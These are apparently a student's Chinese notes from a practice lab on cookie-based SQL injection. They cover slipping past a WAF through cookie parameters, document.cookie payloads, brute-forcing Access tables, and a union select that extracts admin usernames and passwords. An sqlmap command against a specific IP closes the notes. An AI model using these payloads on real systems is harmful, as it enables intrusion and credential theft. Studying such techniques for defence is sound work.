cookie注入
Cookie: 允许服务器在用户的浏览器中存储信息,以便在后续请求中使用
cookie注入原理
很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法
例如:
php中的$_REQUEST[ ]可以获取POST|GET|COOKIE传参
注:php 5.4以上版本就不会接受Cookie传参了。
如果用$_REQUEST[ ]来接受参数POST和GET传参被Waf拦截了
那么也许Waf没有对Cookie进行检测 尝试用Cookie进行传参可以绕过检测机制
修改cookie方式
1.利用burp进行抓包 重放 修改cookie
2.f12 控制台console修开cookie
输入语句
document.cookie="id="+escape("171")
就不用在进行编码 escape()编码函数
3.控制台中application中cookie 修改对应值
get传参大于cookie传参
get和cookie同时传参 服务器优先接受get传参
注入过程
在语句中加入恶意代码
document.cookie="id="+escape("171and1=1 ")
然后在url栏回车确认 点刷新确认没用
在access数据库中没有自带库
系统自带表,而且Access数据库只有一个数据库,不用纠结库名。
那么怎么获取Access数据库的表名和字段名,方法只有爆破
账号密码一般在盛行Access数据库的年代,都在admin表的username和password字段中
and exists (select*from 表名) 如果页面正常,就是存在这个表
exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True
在使用burp用字典爆破表名进而爆破字段
判断admin表中的具体数据 将select后面的列进行跑包
exists (select password from user) id, username,password
判断字段数order by 10正常11异常,说明存在10个字段
通过显错位出表名和密码
判断他的显错位union select 1,2,3,4,5,6,7,8,9,10 from admin
判断得出显错位为2,3,7,8,9这么些位置
171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin
得出账号密码,登录后台,对密码解密,然后拿到flag
大多数16 32 位编码是md5编码
access数据库没有limit
判断是access 还是mysql数据库 可用sleep函数等
SQLmap如何跑Cookie注入
sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2